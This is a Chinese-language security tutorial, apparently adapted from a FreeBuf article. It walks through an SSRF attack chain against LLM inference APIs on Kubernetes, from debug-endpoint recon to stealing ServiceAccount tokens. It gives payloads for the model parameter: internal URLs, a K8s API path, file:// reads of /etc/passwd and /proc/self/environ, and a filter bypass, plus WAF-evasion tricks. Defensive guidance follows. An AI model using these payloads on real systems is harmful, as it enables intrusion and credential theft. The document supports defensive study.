Perusing# 从AI API SSRF到K8s集群凭证泄露——大模型服务内网渗透实战教学

本文基于FreeBuf文章《实战|从AI API SSRF到K8s集群凭证泄露——一次大模型服务的内网渗透全记录》整理，提取核心攻击路径、技术细节与防御思路，形成结构化教学文档。所有内容仅用于安全研究与防护建设参考。

一、攻击面全景与核心风险链

1.1 典型AI部署架构

• 推理框架：Ollama、vLLM、TGI（Text Generation Inference）等
• 部署方式：Kubernetes（K8s）集群GPU节点
• 网络结构：前端API网关路由 → AI API服务（生产环境）
• 普遍认知误区：认为AI API仅是“发prompt收回复”的简单接口，攻击面有限

1.2 真实攻击面评估

AI API在K8s深度绑定场景下，攻击面远大于预期：

• 调试接口默认暴露（生产环境常忘关闭）
• 模型参数缺乏严格校验
• GPU节点网络策略宽松（特权网络级别）
• CORS配置不当（*允许任意跨域）
• 模型命名泄露组织信息

1.3 三层核心风险链

二、第一阶段：资产发现与信息收集

2.1 基础API信息枚举

面对AI API（以Ollama兼容接口为例），第一步不是发prompt，而是探测其暴露的元数据接口。

关键接口与返回内容：

• /api/tags 或 /v1/models：返回完整模型清单（模型名称、大小、量化等级）
• /api/ps 或 /v1/ps：返回当前加载模型信息，泄露模型文件具体路径

示例返回：

{
  "models": [
    {
      "name": "qwen2:7b",
      "size": "3.8GB",
      "quantization": "Q4_K_M",
      "path": "/models/qwen2-7b-q4_k_m.gguf"
    }
  ]
}

模型路径在后续文件读取类攻击中可作为目标。

2.2 调试接口暴露（最意外发现）

生产环境常未关闭的调试接口直接返回内网大礼包：

• 接口路径：因框架而异，常见于 /debug、/env、/config 等
• 返回内容示例：

  K8s API地址: 10.96.0.1:443 (K8s Service默认地址)
  内部API网关: http://10.0.0.100:8080
  MongoDB连接串: mongodb://10.0.0.101:27017/ai_logs
  Redis连接串: redis://10.0.0.102:6379/0
  主机名: ai-gpu-node-01.internal.corp
  OLLAMA_ORIGINS: *
  

• 关键风险点：
  • OLLAMA_ORIGINS=* → CORS不受限，任意网站可跨域调用，为XSS/CSRF组合攻击留后门
  • 内网IP、域名、连接凭证全部暴露，直接进入内网测绘准备阶段

2.3 模型命名中的敏感信息

模型名称本身可能泄露组织内部信息（真实案例）：

• 包含项目代号、内网域名、负责人姓名等
• 开发者习惯命名（如 project-alpha-qwen-7b）反映团队结构
• 防御建议：建立模型命名规范，禁止嵌入敏感标识

2.4 AI推理框架API路径速查表

不同框架API路径结构不同，同时暴露多套API意味着兼容层可能引入额外鉴权绕过点。

若发现服务同时暴露 /api/* 和 /v1/*，说明存在API兼容层，攻击面扩大。

三、第二阶段：SSRF利用与横向移动

3.1 漏洞根源：model参数未严格校验

AI聊天接口（如 /v1/chat/completions、/api/chat、/api/generate）通过 model 参数指定模型。若后端未校验，且模型加载逻辑包含HTTP请求能力（如从远程URL拉取配置），则 model 参数可被篡改为内网URL，触发服务端请求伪造（SSRF）。

核心原理：将URL作为模型名传给AI API → 后端代替攻击者访问该URL → 响应内容嵌入AI回复返回。

3.2 基础验证与利用

正常请求：

{
  "model": "qwen2:7b",
  "messages": [{"role": "user", "content": "hello"}]
}

返回正常聊天响应。

SSRF请求（将model替换为内网地址）：

{
  "model": "http://10.0.0.100:8080",
  "messages": [{"role": "user", "content": "test"}]
}

返回内容直接包含内网服务响应：

Internal IP: 10.0.0.100 | Service: ai-internal-gateway

确认SSRF可利用，且AI API天然提供回显通道。

3.3 AI API场景下SSRF危害放大原因

3.4 四种SSRF变形利用方式

方式一：直接URL注入（已验证）

适用于后端使用 requests.get(model_url) 等简单实现。

model=http://10.96.0.1:443/api/v1/namespaces

方式二：URL Schema混淆（绕过后缀检查）

若后端仅做简单校验（如 model.endswith('7b')），利用 # 注释绕过：

model=qwen2:7b#http://10.0.0.100:8080

方式三：file://协议读取本地文件

若后端HTTP库支持 file://（如Python的urllib），可直接读取服务器文件：

model=file:///etc/passwd
model=file:///proc/self/environ

方式四：DNS重绑定（绕过白名单）

对后端做白名单校验的场景，通过DNS重绑定将域名先解析到外网再切换至内网IP，依然有效。

3.5 AI增强的SSRF信息提取

AI场景特有利用方式：内网数据（如K8s YAML）被注入AI上下文 → AI自动做结构化分析 → 提取敏感信息、标记薄弱配置、生成优化攻击方案。

• 攻击者无需逐行阅读YAML，让AI完成信息提取与总结
• 示例：SSRF获取K8s Pod配置 → 注入AI对话 → 提问“提取所有secret引用和token路径”

3.6 绕过WAF/检测的手法

传统WAF基于model参数URL特征检测，以下方式可绕过：

• 编码变形：URL编码、双重编码
• 协议混淆：利用非标准协议头
• HTTP方法切换：POST替代GET（若后端支持）
• 域名解析利用：使用短域名、IP格式变形（十进制、十六进制IP）
• 最稳妥检测方案：对后端出站HTTP请求做目的IP白名单，仅允许访问已知模型源地址，而非正则匹配参数值

3.7 实战踩坑记录

四、第三阶段：K8s凭证泄露与数据提取

4.1 利用SSRF访问K8s API Server

通过model参数SSRF直接访问K8s默认服务地址：

model=http://10.96.0.1:443/api/v1/namespaces

• 若K8s API未鉴权或存在权限缺陷，可获取namespace列表
• 进一步访问：
  • /api/v1/namespaces/default/secrets
  • /api/v1/pods
  • /apis/apps/v1/deployments

4.2 从配置中提取凭证

SSRF获取K8s YAML配置后，AI可辅助提取：

• ServiceAccount Token：/var/run/secrets/kubernetes.io/serviceaccount/token
• 数据库连接串：MongoDB、Redis、MySQL等内网连接信息
• 镜像仓库凭证：.dockerconfigjson
• 环境变量中的敏感信息：env: 字段下的键值对

4.3 完整攻击链复盘

1. 资产发现：/api/tags → 模型列表；/debug → 内网拓扑与凭证
2. SSRF触发：构造 model=http://10.96.0.1:443 → 访问K8s API
3. 凭证窃取：读取secret → 获取ServiceAccount Token
4. 横向移动：使用Token调用K8s API管理集群，控制所有Pod

五、防御与检测建议

5.1 开发侧修复

• 严格校验model参数：白名单校验模型名称，禁止URL、文件路径、非标准字符
• 关闭调试接口：生产环境禁用 /debug、/env 等路径
• 限制CORS：OLLAMA_ORIGINS 设置为可信域名，禁止 *
• 网络策略加固：GPU节点Pod配置NetworkPolicy，限制出站流量至必要服务
• 文件协议禁用：确保HTTP客户端不支持 file://、gopher:// 等危险协议

5.2 运维侧检测

• 出站流量监控：对Pod出站请求做目的IP白名单，告警非常规内网访问
• WAF规则增强：不仅匹配model参数URL特征，更检测后端实际出站连接
• 审计日志：记录所有AI API请求中的model参数值，定期审计异常值
• K8s API鉴权：确保API Server启用RBAC，限制ServiceAccount权限

5.3 蓝队检测难点

• K8s环境下Pod出站流量本就频繁（拉镜像、DNS、健康检查），正常与恶意请求流量特征难区分
• 传统WAF正则易被编码/协议混淆绕过
• 最有效手段：网络层目的IP白名单 + 应用层参数严格校验（双重防御）

六、总结

本文完整还原了从AI API资产发现到K8s集群沦陷的攻击链，核心教训：

• AI API不是普通Web接口，其SSRF危害因GPU节点特权网络与天然回显被放大
• 调试接口与信息泄露是容易被忽视的初始入口
• model参数校验缺失是整条攻击链的关键支点
• 防御需多层叠加：参数校验、网络策略、CORS限制、出站流量监控缺一不可

所有技术仅用于授权安全测试与防御建设，严禁未授权测试与非法利用。

附录：关键接口与Payload速查

框架路径速查：见第二节2.4表格。